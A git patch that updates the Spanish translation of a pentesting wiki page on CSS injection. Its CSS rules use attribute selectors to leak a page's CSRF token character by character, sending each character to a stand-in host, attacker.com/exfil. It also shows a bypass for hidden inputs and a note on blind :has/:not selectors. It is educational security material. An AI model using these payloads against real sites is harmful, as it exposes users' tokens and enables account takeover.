From 6188894bc0f91f411a4bbb2950d921650b971c2d Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 29 Aug 2025 00:17:13 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/xs-search/css-injection/README.md'] --- .../xs-search/css-injection/README.md | 244 ++++++++++-------- 1 file changed, 143 insertions(+), 101 deletions(-) diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index 146760188..cfe7ec3d4 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -4,9 +4,9 @@ ## CSS Injection -### Selector de Atributo +### Attribute Selector -Los selectores CSS están diseñados para coincidir con los valores de los atributos `name` y `value` de un elemento `input`. Si el atributo de valor del elemento de entrada comienza con un carácter específico, se carga un recurso externo predefinido: +Los selectores CSS se crean para coincidir con los valores de los atributos `name` y `value` de un elemento `input`. Si el atributo `value` del elemento `input` comienza con un carácter específico, se carga un recurso externo predefinido: ```css input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); @@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` -Sin embargo, este enfoque enfrenta una limitación al tratar con elementos de entrada ocultos (`type="hidden"`) porque los elementos ocultos no cargan fondos. +Sin embargo, este enfoque presenta una limitación al tratar con elementos input ocultos (`type="hidden"`), ya que los elementos ocultos no cargan fondos. -#### Bypass para Elementos Ocultos +#### Bypass para elementos ocultos -Para eludir esta limitación, puedes dirigirte a un elemento hermano siguiente utilizando el combinador de hermanos generales `~`. La regla CSS se aplica entonces a todos los hermanos que siguen al elemento de entrada oculto, haciendo que la imagen de fondo se cargue: +Para eludir esta limitación, puedes apuntar a un elemento hermano posterior usando el combinador general de hermanos `~`. La regla CSS entonces se aplica a todos los hermanos que siguen al elemento input oculto, provocando que la imagen de fondo se cargue: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` -Un ejemplo práctico de explotación de esta técnica se detalla en el fragmento de código proporcionado. Puedes verlo [aquí](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). +Un ejemplo práctico de explotación de esta técnica está detallado en el fragmento de código proporcionado. Puedes verlo [aquí](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). -#### Prerrequisitos para la Inyección de CSS +#### Prerrequisitos para CSS Injection -Para que la técnica de inyección de CSS sea efectiva, deben cumplirse ciertas condiciones: +Para que la técnica CSS Injection sea efectiva, se deben cumplir ciertas condiciones: -1. **Longitud de la Carga Útil**: El vector de inyección de CSS debe soportar cargas útiles suficientemente largas para acomodar los selectores elaborados. -2. **Reevaluación de CSS**: Debes tener la capacidad de enmarcar la página, lo cual es necesario para activar la reevaluación de CSS con cargas útiles recién generadas. -3. **Recursos Externos**: La técnica asume la capacidad de usar imágenes alojadas externamente. Esto podría estar restringido por la Política de Seguridad de Contenido (CSP) del sitio. +1. **Payload Length**: El vector de inyección CSS debe soportar payloads lo suficientemente largos para acomodar los selectores creados. +2. **CSS Re-evaluation**: Debes tener la capacidad de enmarcar la página, lo cual es necesario para activar la re-evaluación del CSS con payloads recién generados. +3. **External Resources**: La técnica asume la posibilidad de usar imágenes alojadas externamente. Esto podría estar restringido por la política de seguridad de contenido (CSP) del sitio. -### Selector de Atributo Ciego +### Blind Attribute Selector -Como [**se explica en esta publicación**](https://portswigger.net/research/blind-css-exfiltration), es posible combinar los selectores **`:has`** y **`:not`** para identificar contenido incluso de elementos ciegos. Esto es muy útil cuando no tienes idea de qué hay dentro de la página web que carga la inyección de CSS.\ -También es posible usar esos selectores para extraer información de varios bloques del mismo tipo como en: +Como [**explicado en esta publicación**](https://portswigger.net/research/blind-css-exfiltration), es posible combinar los selectores **`:has`** y **`:not`** para identificar contenido incluso desde elementos ciegos. Esto es muy útil cuando no tienes idea de qué hay dentro de la página web que carga la inyección de CSS.\ +También es posible usar esos selectores para extraer información de varios bloques del mismo tipo, como en: ```html